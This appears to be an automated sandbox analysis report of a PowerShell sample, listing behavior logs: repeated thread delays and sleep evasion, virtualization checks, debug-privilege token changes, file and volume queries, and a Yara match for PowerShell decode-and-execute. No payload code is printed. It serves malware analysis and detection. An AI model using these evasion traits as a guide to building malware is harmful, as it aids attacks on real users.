Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 900000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 899890	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 899781	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5088	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4708	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5346	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 811	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7720	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7744	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7804	Thread sleep count: 5346 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7804	Thread sleep count: 811 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7832	Thread sleep time: -5534023222112862s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7832	Thread sleep time: -900000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7832	Thread sleep time: -899890s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7832	Thread sleep time: -899781s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7240	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from Win32_ComputerSystem

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 900000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 899890	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 899781	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior

Source: powershell.exe, 00000002.00000002.1953677689.000002185E946000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll^g(
Source: svchost.exe, 00000005.00000002.2958595730.000002390AA2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP
Source: svchost.exe, 00000005.00000002.2960137621.000002391005A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell decode and execute

Source: Yara match	File source: KpCJCaQswCshdLQFFKLtCbGdhL.ps1, type: SAMPLE
Source: Yara match	File source: amsi64_7488.amsi.csv, type: OTHER
Source: Yara match	File source: amsi64_7728.amsi.csv, type: OTHER

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://www.concur.com/			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Activities\v4.0_4.0.0.0__31bf3856ad364e35\System.Activities.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Activities.Presentation\v4.0_4.0.0.0__31bf3856ad364e35\System.Activities.Presentation.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
